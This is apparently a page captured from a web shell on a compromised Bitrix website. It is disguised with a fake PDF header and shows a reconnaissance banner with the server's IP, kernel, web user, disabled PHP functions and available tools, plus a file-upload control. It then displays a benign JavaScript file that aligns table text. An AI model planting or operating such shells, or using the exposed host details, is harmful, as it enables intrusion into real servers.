%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.21.246.168 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/button/ |
Upload File : |
;(function() { "use strict"; BX.namespace("BX.Landing.UI.Button"); BX.Landing.UI.Button.AlignTable = function(id, options) { BX.Landing.UI.Button.EditorAction.apply(this, arguments); this.editPanel = null; this.options = options; this.id = id; }; BX.Landing.UI.Button.AlignTable.prototype = { constructor: BX.Landing.UI.Button.AlignTable, __proto__: BX.Landing.UI.Button.EditorAction.prototype, onClick: function(event) { event.preventDefault(); event.stopPropagation(); var id = this.id; var activeClass = 'landing-ui-active'; this.options.alignButtons.forEach(function(alignButton) { if (alignButton.id === id) { alignButton.layout.classList.add(activeClass); } else { alignButton.layout.classList.remove(activeClass); } }) if (this.options.table) { var addedClass = null; var setAlignClasses = ["text-left", "text-center", "text-right", "text-justify"]; switch (this.id) { case 'alignLeft': addedClass = 'text-left'; break; case 'alignCenter': addedClass = 'text-center'; break; case 'alignRight': addedClass = 'text-right'; break; case 'alignJustify': addedClass = 'text-justify'; break; } this.options.setTd.forEach(function(td) { if (td.nodeType === 1) { setAlignClasses.forEach(function(alignClass) { if (alignClass === addedClass) { td.classList.add(alignClass); } else { td.classList.remove(alignClass); } }) } }) } BX.Landing.Block.Node.Text.currentNode.onChange(true); } }; })();